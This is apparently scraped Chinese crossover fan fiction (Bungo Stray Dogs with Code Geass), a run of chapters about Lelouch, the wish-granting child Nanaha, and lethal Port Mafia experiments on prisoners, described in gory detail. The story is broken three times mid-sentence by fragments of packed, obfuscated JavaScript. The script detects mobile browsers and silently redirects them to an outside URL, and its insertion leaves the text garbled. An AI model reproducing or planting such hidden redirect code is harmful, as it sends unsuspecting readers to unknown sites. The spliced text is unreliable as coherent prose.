“关于把那两名来历不明的异能力者转移给异能特务科这件事，你们考虑得怎么样了？” 视频的另一头，坂口安吾低头垂眼，抛出一句很是官方的措辞。 这还是尾崎红叶跟军警那边交换情报那时候的事。 不过异能特务科那边会注意到鲁路修二人，倒不是因为鲁路修一句命令就控制了港口Mafia在场的所有成员，而是因为在他们被传送到这个世界的第一时间，异能特务科的异能力监测器就拉响了警报，里面显示的能量系数在瞬时完成了从0到破表的暴增。 比当年中也第一次污浊全开揍化身魔兽的魏尔伦还要可怕的能量值，让当时正坐镇指挥的辻村深月惊得打翻了手边的咖啡。 她还以为是天人五衰空投了个特异点过来。 结果火烧火燎的联通坐标点附近的监控，又发现那地方正好是港口Mafia负责的防线。 至于监控画面…… 众所周知，重力使疯起来的破坏力能把横滨拆个底掉。 当然，中原中也不会对自己森鸥外爱得这座城市做什么，但太宰治死亡后一直心情就不怎么美妙的重力使打起架来波及到几个路边监控，难道他们异能特务科还敢上门给他开罚单吗？ 当然不能，他们顶多让战时随处待命的无人机起飞，一边祈祷别被重力使误伤打坠机，一边疯狂拉摄像头，看看到底是怎么回事。 然后他们就看到了鲁路修下令的那一幕。 他们正缺这样的异能力！ 辻村深月顾不上泼到西装裙上的热茶，激动的撑着操作台面，又往前贴近了屏幕几寸。 这不就是他们现在需要的异能力吗！ 对环境灾害小的对人式异能力，兼具环保、便捷、一击即中等诸多优点的对吸血鬼对策异能力！ 到时候天人五衰的兵力就是他们的兵力，真正做到了开局一个光杆司令，结束身后百万大军。 错把鲁路修认成异常能量源的辻村深月立马就吩咐坂口安吾去交涉。 结果对面冷冰冰的扔过来一句“这是港口Mafia的内部事务”。 哦对，那个异能力者直接异能力了港口Mafia的人。 这中原中也要肯交人就出鬼了。 所以坂口安吾来交涉的时候压根没抱希望。 “你觉得这可能吗？” 果然。 坂口安吾并不生气，比起太宰治，中原中也这种不痛不痒的反问简直值得被夸奖一句温柔。 “他的异能力很有用，只要使用得当，可以改变整个战局。” 坂口安吾很冷静，但辻村深月却按捺不住的从角落走到了摄像头前，“中原中也，我希望你能以大局为重。” “这样啊。”中原中也点点头，“你说的也有道理。” “你同意了？” “当然不是，我的意思是，既然是以大局为重，而L.L.的异能力刚好又能和布拉姆对抗，那不如干脆把大指令给我们送过来吧。” 中原中也用辻村深月的观点把辻村深月怼了回去。 谁料对面居然沉默了几秒，没有立刻反驳。 不是吧？难道真得可以？ “大指令的所有者选取很严格。” 辻村深月没直接说“你做梦”，中原中也已经够诧异了，谁知道听这语气似乎还有戏？ “至少不可能给黑/手/党。” 很好，看来她还没疯。 “但我们可以各退一步。” 辻村深月深吸一口气。 她讨厌黑/手/党，讨厌仗着自己异能力强大就任性妄为视法律为无物的人，但政治和战争不是小孩子过家家，有时候她必须妥协。 比如现在，在横滨每天都有无数普通人被卷入吸血鬼之灾丧命的现在。 “我们可以申请把大指令交给福泽谕吉，而你，你需要让那名异能力者加入武装侦探社，人上人不造能让我们有更高的胜算。”辻村深月伸手在操作台上点了几下，“这是作战方案，你可以考虑一下，明天这个时候再给我答复。” 中原中也面前的电脑发出“叮”的一声，屏幕右上角弹出了新邮件提醒。 随后辻村深月挂断了通讯。 曾经身处干部位置，从未参与过决策的中原中也在电脑前安静坐了一会儿。 他突然有点理解辻村深月这个人了。 研究作战方案的中原中也凌晨才睡下，所以当他被名侦探从被子里挖出来时脾气很臭也就很合理了。 “你就不能有点客人的自觉吗？” 中原中也的丝质睡衣皱巴巴的，他是趴办公坐上看方案看睡着了，被自家哥哥抱走塞进套房内间里的床上的。 浑身散发着低气压的中原中也瞪着抢走自己被子的名侦探：“还有，谁放你进来的？” “是帽子君你先不守时的！不是说好了今天一早吗？” “说好的是今天上午，所以，谁放你进来的？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732506|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不要这么小气嘛，最近横滨天天打仗，连好吃的点心铺子都不开门了，社长也没空帮我去别的地方买，乱步大人都好久没吃小点心了！昨天在帽子君这边吃到了茶点，乱步大人才总算是活过来了！” “我是问你，谁放你进来的！” “好吧，我在楼下遇到了小七羽……” 中原中也瞬间清醒了：“你许愿了？” “不要这么紧张。”江户川乱步示意自己没事，港/黑也没出什么大乱子，“这是个意外。” 江户川乱步发誓，这真的是个意外。 他和与谢野晶子都不是警惕性很差的人，而据江户川乱步观察，七羽也不是那种身手了得的“书”，除了“书”这个逆天的身份之外，七羽各方面都是很普通的小孩子。 嗯，对自身的性别认知障碍不算。 但今天，江户川乱步困倦得眯着眼被与谢野拖着往港/黑大楼走，没睡饱的名侦探抱怨着，“为什么要这么早？反正帽子君也会把小七羽的存在主动暴露出去吧，等天大亮了，乱步大人睡醒了再来不也一样嘛。” 而与谢野晶子却只叫他不要任性！ 所以在港/黑大楼楼下，缺乏甜食缺乏睡眠的名侦探不满大喊：“我不管！我要吃小蛋糕！” 然后惊悚的事情发生了。 “你想要小蛋糕吗？” 没有丝毫的预兆，无论是江户川乱步还是与谢野晶子都没发现，七羽居然就在大厅的绿植屏风后面。 当时与谢野晶子的冷汗都下来了。 “你想要小蛋糕吗？” 没有呼吸，没有心跳，不是活人因而没被察觉到的七羽再次开口。 以上就是名侦探翻车始末。 中原中也现在就是觉得很头大。 同样觉得很头大的还有鲁路修。 鲁路修完全不知道七羽是什么时候离开的，也不知道七羽是怎么避开守卫，精准出现在江户川乱步面前的。 他唯一知道的是，七羽绝对是故意等在那里的。 这是一次标准的碰瓷式许愿。 虽然没有引发严重后果，但鲁路修却有了不好的预感。 “七羽。” 从与谢野晶子手里领回来七羽的鲁路修看着开心吃蛋卷的孩子，这个蛋卷也是江户川乱步愿望成真中的一部分。 “哥哥也要吗？”七羽咽下嘴里的蛋卷，抬头看他，“这里还有很多哦？” “七羽你记得吗？你答应过我在任务过程中完全听从我的命令。” 七羽捧着蛋卷“呜”了一声，“七羽下次会注意的！” 鲁路修看着他，帮他擦掉嘴边的碎屑。 “下次注意。” 这不是七羽。 因为他们的打赌，是七羽赢了。 35.污浊了的忧伤中 发现端倪的鲁路修旁若无事的继续帮七羽整理面前一桌子的甜品，这些全都是江户川乱步的战果。 或许是“想吃小蛋糕”这种愿望过于简单，所以乱步仅仅只付出了“一个举高高”、“一个有趣的破案故事”以及“一颗波子汽水的玻璃珠”这三样简单的代价。 而这三个里面，乱步完成最艰难的居然是第一个。 26岁的名侦探努力了好几次，才将将把12岁的七羽举过自己的头顶。 他只坚持了两秒钟，就和七羽一起骨碌到了港/黑大厅铺着的柔软地毯上。 而在江户川乱步付完代价后，港口Mafia大楼前对面的马路上的一辆货车突然失控，歪歪扭扭的一头冲进了大楼旁边的隔离带。 货车司机运气非常不好，直接被碎裂的前挡风玻璃扎穿了右眼，都没来得及坚持到与谢野晶子跑过去使用异能力，就当场咽了气。 货车的门锁也在冲击下巧合的整个断裂，扭曲的门板只剩下下荷叶勉强支撑着，没让门板直接砸在地上。 119是不用叫了，江户川乱步打了110说明了情况，结果对面一听出事地点在港/黑大楼门口，就开始推脱人手不足。 “喂！这里可是出了命案！” 对面接电话的不是乱步熟识的警部，，听声音应该是个四十多岁的老油条，面对对方的不负责任，名侦探那张看起来比实际年龄小很多的脸孔板了起来，语气也变得十分不快。 “哎……”对面的警部叹了口气，“这个点你能在那个位置，想必也是相关人员，我就直说了吧。” 原本打着哈哈的警部轻描淡写道：“我们这边警力的确吃紧，还保持着人类身份的不多，既然在你们势力范围内出了事，这次的事件就拜托你们帮个忙，收个尾，事后我会以个人名义给你们港口Mafia送锦旗，你们想投诉我也没问题。” 他报了一串数字，“这是我警号。” “……嘟嘟嘟。” 电话挂断了。 江户川乱步把贴在耳边的手机拿下来，盯着通话中断的界面看。 “连基本的治安都濒临崩溃了，看来你们的时间不多了。” 下楼寻找七羽的鲁路修就是这时候才出现的。 他牵起七羽的手，拉着七羽绕到货车后面，往里面看了一眼，随后指了指里面倾倒的货箱，“是甜品店的货车，里面应该是蛋糕点心之类的东西。” 鲁路修注意到江户川乱步的脸色，“是你的愿望？” 江户川乱步少见的睁开了眼，那双能看透一切真相的绿眼睛和鲁路修对视了两秒，随后落在了乖巧跟着鲁路修的七羽身上。 “原来如此。” 这就是太宰治一跃而下也要死守住的秘密。 “哥哥，我可以吃小蛋糕吗？” 仿佛察觉不到现场氛围的滞涩，七羽摇了摇鲁路修牵着自己的那只手。 鲁路修低头看去，正巧七羽正仰头看过来。 “等他们处理好现场，我会让他们帮忙把还能用的部分整理出来。”鲁路修拉着七羽从货车旁退开，让赶来的港口Mafia成员接手后续处理，他往大厅里面的沙发休息区抬了下下巴，“我们去那边等吧。” “我说你们，你们难道没有同理心吗？！” “晶子。”江户川乱步叫住自己撸着袖子就想上去“理论”的同伴，“我们该去找帽子君了。” 看着没来得及挽发髻的尾崎红叶从电梯处出来，江户川乱步跟她打了个招呼，拽着与谢野晶子就进了电梯。 …… “事情的前因后果就是这样。” 江户川乱步抱臂靠在洗浴间的门框上，头顶的侦探帽没精神的往下滑了几寸，压住了他的刘海，堆在一堆的刘海挡住了祖母绿的眼睛，让他看上去没了昨天的活力。 “所以，七羽并不能凭空实现愿望。” 中原中也擦干净脸上的水珠，此时他额前的刘海与碎发被撩到头顶，露出光洁的额头。 “你那是什么表情？” 中原中也从面前的镜子里瞄到身后没精神的名侦探，对方现在的样子像极了一只没精打采的猫。 “有点失望。”江户川乱步嘟囔一句，“乱步大人还以为会是更有趣的东西。” “你们武装侦探社还真是悠哉。”中原中也整理好头发，走到洗漱间门口时瞥了江户川乱步一眼，“让让。” 他们港口黑/手/党就没有这样的烦恼。 只要能派上用场，管它是什么东西。 再说了，现在他们也没有任性挑剔的余地。 想到这，中原中也又看了眼挪开位置的名侦探。 所以太宰那家伙其实是憧憬武装侦探社这种天真氛围的？ 同时想到“太宰”以及“天真”，中原中也被自己的想法恶心到了。 “帽子君，你好像在想很失礼的事情？”江户川乱步跟在中原中也屁股后边，在中原中也取出换洗衣物丢过来警号眼神的时候背过了身，“不过乱步大人大人有大量，暂且不跟你一般见识。” “帽子君，你想好一会儿要许什么愿了吗？”伴随着背后窸窸窣窣的换衣服声音，江户川乱步无所事事的用脚尖磨蹭着厚厚软软的地毯，“要不要听听乱步大人的忠告？” “我觉得，你有点奇怪。”中原中也扣好最后一枚扣子，从抽屉里取出手套，慢条斯理的把五指一一伸进去，“我们仅仅是合作关系，如果你们只是因为中岛敦和泉镜花的叛逃才采取这种态度……” 中原中也顿了一下，等江户川乱步转身看过来才继续说：“没必要，因为港口黑/手/党没有叛徒。” 只有死人。 哪怕那是前首领的安排。 “这是墩君他们自己应该解决的事情。”江户川乱步说道，“我想拜托帽子君一件事。” “哈？”中原中也指指乱步，又指指自己，挑眉，“你确定？” “我觉得这件事除了那两个人，就只有帽子君你能做到了。”江户川乱步低头从口袋里一通翻找，最后捏出一张叠得皱巴巴的纸递给中原中也，“我确定。” “我很贵。”中原中也扫了眼乱步捏着的那张折起来的纸。 看不出里面写了什么。 “我会出足够令你满意的报酬。” 中原中也捏住那张纸的另一角，懒洋洋的举起晃了晃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737289|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你最好是。” 他暂时没打开那张纸，而是顺手把东西揣进了兜里，就带着一大早擅自闯进首领办公室的名侦探下了楼。 也还好他们没多耽误，看着眼前一点就得炸的场面，中原中也忍不住想扶额。 “又怎么了？” 考虑到保密性，他们今天没去昨天那间会议室，而是挑了地下的刑讯室收拾干净之后用来实验七羽的许愿机制。 因为早上的事情，与谢野晶子对鲁路修和七羽的观感十分差劲。 原本她还挺期待乱步口中的“万能许愿机”，结果其扭曲的愿望实现方式狠狠给了她一榔头。 她对于许愿要付出代价这一点接受良好，毕竟愿望是自己许的，这世界上又没有天上掉馅饼的好事，为自己的愿望得以实现，付出一部分代价她是认可的。 但她无法接受这份代价里还包括别人的命。 这种反感在尾崎红叶压着几个被五花大绑的亡命徒进来，让鲁路修对他们施展异能力时到达了顶峰。 “你们怎么不自己来？”与谢野晶子冷笑，“都因为怕死让乱步带上我了，还不敢自己许愿？” “这不是敢不敢的问题。”介于对方是他们请来的保险，一会儿中也的命很可能得交到对方手上，尾崎红叶的口吻还算客气，“L.L.说一人只有一次许愿的机会，而我们需要先试探出来许愿的代价索取机制与愿望实现机制。” 所以耗材的存在是必须的。 可这种行为在与谢野看来，就是在送人去死。 都说是实验了，这帮黑/手/党肯定是捡着难以实现的愿望来。 与谢野晶子之所以还没翻脸走人，单纯是因为她不能丢下乱步。 跟着中原中也前后脚走进门的江户川乱步一打眼，就猜出来了前因后果。 “我说怎么军警那边没抓到这几个死鼠之屋的成员，原来在你们手里。”假装没读懂空气的名侦探用一句话把争吵扼杀在了摇篮里。 与谢野晶子抿了抿嘴，冷哼一声抱着胳膊退到了后面。 全程一言未发只是围观的鲁路修见人终于齐了，适时上前一步：“现在开始吗？需要我命令他许什么愿？” 他把自己的态度控制在“为寻求庇护而积极配合”的合理范围内，并不显得急切，任谁也看不出他其实对实验的结果相当的在意。 这可是关系到他之后十几天的任务规划。 本来以为七羽的年龄以及思维倒退回幼年就已经够麻烦的了，谁知道一番试探下来，七羽连自己都不是了。 简直是堪称地狱难度的开局。 但如果能利用好现有的筹码，也不是没有将军的可能。 想到等待在隔壁的“七羽”，鲁路修脸上的笑容更温柔了几分。 虚假的兄弟游戏啊，时隔这么久，还真是有点怀念。 “开始吧。”中原中也打了个眼色，港/黑在场的两位干部和他自己成三角之势隐隐把控住了内圈的所有人，“江户川侦探？” “先从最基本的开始吧。” 江户川乱步坐到椅子上晃着两条腿。 “魔人费奥多尔的异能力究竟是什么？” 36.污浊了的忧伤中 “信息类的愿望吗……” 中原中也思索了一番，觉得应该可行，便挥手让尾崎红叶解开第一个耗材身上的五感束缚。 取下头套耳塞后，尾崎红叶把神态萎靡的耗材往前推了一步，刚好推到鲁路修的面前。 在刑讯室四角高清摄像头的镜头下，鲁路修按照江户川乱步的原话下达了命令。 到此为止一切都进展的很顺利，直到耗材被尾崎红叶送入隔壁七羽所在的另一间刑讯室。 他们的第一次实验失败的很彻底。 对于耗材提出的“想知道魔人费奥多尔的异能力是什么”的愿望，独自坐在隔壁刑讯室正中心椅子上的七羽仅仅只是点了下头，随后便面带可爱微笑的提出了一个令监控后所有人面色大变的要求。 也拉开了死鼠之屋成员深田幸二的死亡序曲。 “可以给我你的肝脏吗？” 被Gease控制的深田幸二只会在许愿的时候遵循鲁路修下达的命令，本人的人格以及思维还归属于他自己，所以在听到七羽这堪称要命的血腥要求后，被五花大绑仅仅只能开口说话的深田幸二本能的察觉到了诡异的危险。 “不！不！让我走！你们这群魔鬼！太宰治你不得好死！港口Mafia的杂碎们你们统统不得好死！首领会为我报仇的！” 原本还能保持站立的深田幸二毫无预兆的瘫软在地，他疯狂咒骂港/黑众人的同时用力的摆动着头颅，完全不顾勒在自己脖子上的锁套，直到颈间的皮肉被磨得面目全非也没能让他停止这种诡异的自虐行为。 透过监控看着这一切的众人无法理解他骤然间的崩溃，只有作为应急救援人员，同样在场的与谢野晶子能和崩溃的深田幸二感同身受。 从七羽提出要求的那一刻起，他身上那种可爱邻家小男孩儿的气质就消失了。 虽然脸上还挂着天真可爱的微笑，外表也没有任何变化，但整个人都变得吊诡起来。 早上乱步许愿的时候不是这样的。 不对劲。 不能再继续下去了。 如果说早上七羽的碰瓷许愿仅仅是让与谢野晶子对他产生了警惕，那么此时此刻，在与谢野晶子眼里，七羽已经成为了恶魔的代名词。 这种东西，真的是支撑着他们世界存在的特异点吗？ 他们的世界就是依托这种可怕的东西存在的？ 所以他们才会经历这么多的苦难与战争？所以才会诞生身为原罪的异能力者？ 与谢野晶子脑子里的想法乱成一团，她警告自己现在不是想这些的时候，她现在最应该做得是扛起地上的家伙扭头就跑。 但哪怕她主观意识上在命令自己的身体赶快动起来，实际上命令却没能从脑神经传达到身体各处。 结果就是从鲁路修等人的视角去看，监控中的她一动不动的定在原地，仿佛事态还在可控范围内。 “可以给我你的肾脏吗？” 被拒绝的七羽已经提出了第二个要求。 “走开！你走开！你别想从我这里得到任何东西！！” 手脚受缚的深田幸二破了音，瘫在地上的他不知道哪来的力气，用额头顶着地面翻了个身，以下巴为支点，抵着坚硬的地面往门口爬去。 刑讯室内接连响起了可怕的“碰碰”声。 那是深田幸二下巴用力撞击地面的声音。 直到“咔吧”一声，身为医生的与谢野晶子即使不扭头去看，也知道这是深田幸二下颌骨碎裂的声音。 “可以给我你的心脏吗？” 七羽童稚可爱的声音此时在深田幸二的耳中不亚于死神的低语，在他的拼命挣扎下，尾崎红叶再三确定绝不可能被挣脱的束缚竟被小幅度的挣开了。 他的喉咙里滚出不成调子的绝望“嗬嗬”声，被监/禁之后就滴水未沾、身体机能降到最低的深田幸二从挣开得狭窄缝隙挤出双手，十指扒着地板拼命想要逃离这间空荡荡的屋子。 他的瞳孔因为恐惧而收缩成极窄的一点，混沌成灰白色的瞳孔如同他的身体一般猛烈颤动着，在他不知情的情况下，泪水与唾液争先恐后的从眼眶与口腔里涌出，糊满了干净的地面。 就在他失去了指甲盖的手指尖碰到房门的前一刻，后方传来了最后一声告死的询问。 “那，能给我你的大脑吗？” 血肉模糊的指尖无力的向下滑落，金属牢门上留下了一笔触目惊心的红。 深田幸二的脑袋在与谢野晶子的脚下炸成了一团烟花。 红白相间的粘稠液体糊了与谢野晶子一腿，透过丝袜她能清晰的感知到那黏腻恶心的触感。 一直动弹不得的与谢野晶子猝然靠在身后的墙上，身体沿着墙面缓缓滑落，跌坐在了地板上。 就在深田幸二脑袋炸掉的同一时间，隔壁房间里和他同属死鼠之屋的几名同伴也炸了脑袋，港/黑昨夜刚刚打扫干净的刑讯室一朝回归了原本的血腥模样。 参与进了这场许愿的鲁路修与江户川乱步也同时身形不支。 内脏受损的鲁路修擦擦嘴角的血液，单手撑着监控台，目光遥遥和屏幕中的七羽对上。 七羽冲着摄像头露出了一个甜甜的微笑。 在别人看来，屏幕里的七羽看得是摄像头这头的所有人，但是鲁路修却知道，七羽看得是自己。 因为七羽单手覆于胸前鞠躬时，手放置的位置正正好好是他第二个衣扣的位置，也是鲁路修存放戒指的位置。 而这枚戒指，就是七羽在他许愿之后，他唯一拒绝的一个要求。 这是一个无声却明目张胆的挑衅。 呵，原来早上的试探“它”发现了啊。 鲁路修被手掌掩盖的唇角勾起一个狂气的微笑。 发现了好呀，这不是正好说明七羽身体里的那东西绝对和七羽本人有联系。 不然“它”也不会拥有七羽的记忆。 知道那的的确确是七羽的身体，并且里面的不明物和七羽牵连甚大就好办了。 无声地大笑被撕心裂肺的咳嗽掩盖了下去，在场的其他人并没有发现鲁路修神色的异样，而原本应该能看出端倪的名侦探则因为是愿望的原始提出者，正处于大量血液凭空消失的虚弱当中。 中原中也揽住差点栽下椅子的江户川乱步，目光冰冷的看向同样不好过的鲁路修。 “你不觉得你应该给我们一个解释吗？” “解释？” 与唇边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742653|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艳丽的血形成鲜明对比的是鲁路修惨白的脸色，没有了Code傍身，无法自我修复的劣势此刻显现了出来。 此时此刻，他的身边空无一人，可以交付性命的同伴不知所踪，只留下一个占据了自身躯壳的不明物。 Gease的力量在这个世界也受到了极大地限制，鲁路修能够肯定，见过他使用Gease的这几个异能力者压根不会给他说完命令的机会。 但这恰巧也是他的机会。 “不然你以为我的组织是怎么覆灭的？” 鲁路修重新把话题导向对自己有利的方向。 “你们查不到我们组织的任何信息吧？” 他直接戳穿了大家都心知肚明，却没有宣之于口的这件事。 鲁路修忍耐着五脏六腑传来的剧痛。 感谢Code的存在，让他活着经历了那么多次痛苦的死亡，这些死亡的经历成就了他对痛苦无与伦比的忍耐力。 只要大脑还能思考，鲁路修就不会在任何情况下让自己陷入绝境。 没有力气抬起手，鲁路修只能微微向那一地的尸体侧头，“这就是原因。” “死到临头你最好还是实话实说。”中原中也压根看都没看那几具尸体，“你不会想说，之所以整个组织都覆灭了，只有你活了下来，是因为你运气好吧？” “这仅仅只是因为我是第一个。”鲁路修语焉不详。 一开始就和盘托出并不符合他表现出来的性格，所以一些能让对方发现的小误导是必须得。 而他只需要等待对面聪明人的反驳…… “不，你和‘书’的关系绝对不是你所说的这么简单。” 脑袋仍旧发晕的名侦探把全身的重量都压在了扶着自己的中原中也身上，大量失血让他感觉浑身发冷。 江户川乱步舔了舔毫无血色的苍白唇瓣，怎么也聚不了焦的绿眼睛看过去时，甚至能看到鲁路修的重影。 失血对他的影响太大了，他已经开始听不到耳边中原中也的呼吸声，外界的一切声音都被乱步自己如若擂鼓的快速心跳声盖住了。 江户川乱步能感觉到自己在大口大口的呼吸，但汲取到得氧气却微乎其微，以至于他的呼吸越来越急促，思维却越来越迟钝。 他有很多话想说，但身体的生理反应却让他只能攥紧中原中也的衣袖。 “当然。” 鲁路修的声音很轻。 “我是七羽的哥哥。” 时机正好，是时候让他们帮忙找到真正的七羽了。 “你见过他的，就在今天早上。” 在昏睡过去的前一秒，江户川乱步反应了过来鲁路修的意思。 是这样？！ 所以这家伙才一直用万能许愿机来诱导他们进行许愿！ 所以他才默许七羽跑出来主动收集愿望！ 得告诉帽子君…… 唔…… 好累，眼皮好沉…… 睡起来再说应该也没关系？ 虽然些微偏差，但是计划也有在好好进行下去…… 帽子君应该靠得住……吧？ 江户川乱步张了张嘴，却什么都没来得及说出来，就陷入了黑沉的睡眠。 37.污浊了的忧伤中 当中原中也吩咐候在外面的广津叫人进来收拾烂摊子，并让尾崎红叶去接回情况不明的与谢野晶子时，鲁路修便知道这件事暂时就到此为止了。 他自然知道对方没有相信自己，不如说从最开始到现在，哪怕他提供的说辞并没有太大的漏洞，但对方自始至终就没有真得信任过他。 中原中也之所以现在没动他们，一是因为那部分还在鲁路修控制下的组织成员，二就是因为他们有用。 之后的三天，负责研究七羽异能力的主事者换成了尾崎红叶，在场的人数也下降为四人。 期间鲁路修偶尔还能撞见行色匆匆的中原中也，对方不是在前往战场的路上，就是刚从战场回来。 至于武装侦探社的江户川乱步和港/黑的另一位干部魏尔伦，自那天后鲁路修就再没见过。 和与谢野晶子一起来得变成了有过一面之缘的芥川龙之介，可能是武侦的招牌上次在七羽这受到了牵连，无论是与谢野晶子还是芥川龙之介对待鲁路修的态度都冷淡异常。 这种冷脸状态一直持续到与谢野晶子发现被七羽取走的代价无法被“请君勿死”治疗。 一开始，因为已经确定只要参与了许愿的过程，哪怕许愿人并不是自己，也会在七羽收取代价失败时被连坐，所以尾崎红叶改变了思路，提出可以在审讯的时候对死囚进行诱导，让对方说出诸如“求求你们放过我”这一类的请求，然后用提前准备好的录音装置录下来，事后拿到七羽面前进行播放。 结果七羽毫无表示。 “这样不行，应该是许愿的人必须明确是向七羽许愿。”与谢野晶子说话的语气算不上好。 “不对，问题不是出在这。”鲁路修否定了她的说法。 七羽去碰瓷乱步许愿的时候，乱步也没有明确自己是在向七羽许愿，可七羽却实现了对方的愿望。 尾崎红叶也想到了这个问题。 “他是故意的。”红发的干部面沉如水，“你有什么提议吗？” 被询问的鲁路修假做无奈的模样：“我如果有办法，也不会走到这个地步了。” 【L.L.和七羽之间的关系很奇怪。】 尾崎红叶回想起江户川乱步所说的话。 那时候刚清醒过来的名侦探吊着输液瓶，没扎针的那只手捏着一块粗点心，据他所说，这叫用甜食来激活大脑。 【他并不知道七羽的许愿机制，所以他希望由我们来替他趟雷。】 江户川乱步的声音因为嘴里的点心有点含混不清。 【但他的确又和七羽关系亲近。】 把名侦探抗到病床上的中原中也拎着手上装满点心的纸袋晃了晃，暗示乱步别卖关子。 【好吧好吧，说简单一点，L.L.已经告诉你们了，他认识的七羽是另外一个。】 【你是说……收取代价的和实现愿望的其实是两个人？而那个没有眼白，不像是人类的许愿机才是L.L.的弟弟？】 【事实上，我不觉得L.L.和七羽是兄弟。】 江户川乱步咽下点心，指着床头空掉的水杯，等中原中也臭着脸给他倒好水递过来，喝了一口后才继续说。 【我认为，两个七羽才是兄妹。】 “但我可以给你们提供一些思路。” 鲁路修的声音打断了尾崎红叶的回忆。 “你们不一定非要许愿成功。”鲁路修说，“你们可以让天人五衰来许愿。” 如果江户川乱步在这里，一定会拉着鲁路修的手表示赞同。 用名侦探的话说：想干掉敌人，有时候不是非得靠自己努力，也可以靠对方作死。 试问，面对一个万能许愿机，又有谁能忍住不许愿呢？ 思路打开一些，只要安排得当，他们完全可以利用信息差让魔人被七羽的连坐机制教做人。 毕竟天人五衰这么大仗势，一定所图甚大，这种规格的愿望，就算魔人看准时机，让替死鬼来许愿，连坐的代价也够他喝一壶了。 可能是想通了其中的关窍，尾崎红叶抬起手，用和服宽大的袖摆挡住了下半张脸，把诧异的神色隐藏在了衣袖之后。 她想到了中原中也特意指定要死鼠之屋成员作为试验品、从那些炸掉的脑子里滚出来的芯片，以及据说去执行秘密任务的魏尔伦。 能坐到这个位置上的就没有蠢货，在鲁路修这句提醒下，尾崎红叶一下子就明白了自家首领今日那些行为的用意。 等一下，既然是否许愿已经不是取胜的必要条件，为什么中也还要让她继续主持这项实验？ 她若有所感的看向鲁路修，发现鲁路修回给了她一个意义不明的微笑。 …… 尾崎红叶觉得自己要压不住提刀的手了。 呵，谜语人都该死。 想通了的尾崎红叶放开了手脚，于是牢房里的住客无底洞一样的填了进去。 堆够了人命，他们才终于搞明白七羽的许愿机制。 简单来说，在有人向七羽许愿后，七羽会根据愿望的难度来反过来向许愿的人提三个要求，只有做到了这三个要求后，真正的愿望机器才会出现，并实现许下的愿望。 如果七羽提出的要求很过分，许愿的人也可以拒绝，只要在第四次前离开七羽的视线范围，并不再在七羽面前出现，七羽就不会提出第四个要求，但值得注意的是，许愿的进度也会卡住。 七羽的许愿机是单线程的，并不能同时满足两个人的愿望，只有上一个人的愿望结束了，或者死亡了，才会受理下一个。 他们也不能靠与谢野晶子的异能力0元购，被七羽索要走的器官从根源上变更了所属权，哪怕是“请君勿死”也不能让失去的内脏重生。 ——与谢野晶子一发现这个事，就果断带着芥川龙之介走人了，一秒钟都没有多待。 搞清楚了七羽的许愿机制，鲁路修和七羽就又被送回了首领办公室隔壁的套间。 无所不在的监控与门外的明哨彰显着中原中也的态度。 虽然只接触了短短两天，但大致摸清了对方脾气的鲁路修完全能想象出来对方的意思。 “老实呆在那，用得上你们的时候我自然会来叫你们。” ——从某种意义上来讲，这也是对方的好意。 鲁路修这三天的确没走出港/黑大楼，无事可做的时候他就逗逗七羽，配合对方演绎虚假的兄友弟恭。 不，也不能说是完全虚假的。 第四天的午夜，鲁路修独自坐在落地窗旁的藤椅上，床上的七羽已经睡熟了，小小一只蜷缩在被子里，从他的角度只能看到一个小鼓包。 这几天里外面的刺耳的警报声拉响了一次又一次，起先鲁路修还能偶尔听到警车与救护车警报器的声音，后来这象征着治安还未崩溃的声音就消失了，只剩下越来越密集的枪声与各种热武器的声音。 当鲁路修从落地的玻璃窗看到划过天空的导弹，他就知道自己和七羽之间的兄弟过家家游戏要到此为止了。 “叩叩。” 两声礼貌的敲门声后，鲁路修刚从落地窗前转过身，房门的把手就随着门外人的下压而旋转着打开了锁扣。 “看起来你这几天休息得还不错。” 看着出现在自己房门外的中原中也，鲁路修并不奇怪对方来找自己。 正相反，他本以为中原中也会更早些来找自己，结果对方居然现在才来。 “多亏了你们的医生。”鲁路修说，“已经恢复得差不多了。” 见状，中原中也直白的开门见山：“有件事要你帮忙。” 这话听得鲁路修微微诧异。 中原中也：“怎么，你打算拒绝？” “没什么，只是觉得你并不适合当首领。”鲁路修笑了笑，“但我倒不讨厌你这种人。” 有句话鲁路修没说出来。 中原中也让他想到了朱雀。 中原中也却不买账：“但我讨厌你这种人。” 鲁路修让他想到了太宰。 “你不是第一个这么说的。”鲁路修无所谓道，“你现在才来找我，想来肯定不是让我帮忙解开你部下的异能力，让我猜猜……你们终于商量好了，要让我坐那个位子了？” 吸血鬼之灾最可怕的点在于吸血鬼病毒的可传染性，在政府解除热武器禁令、出动军队都没能成功镇压吸血鬼大军 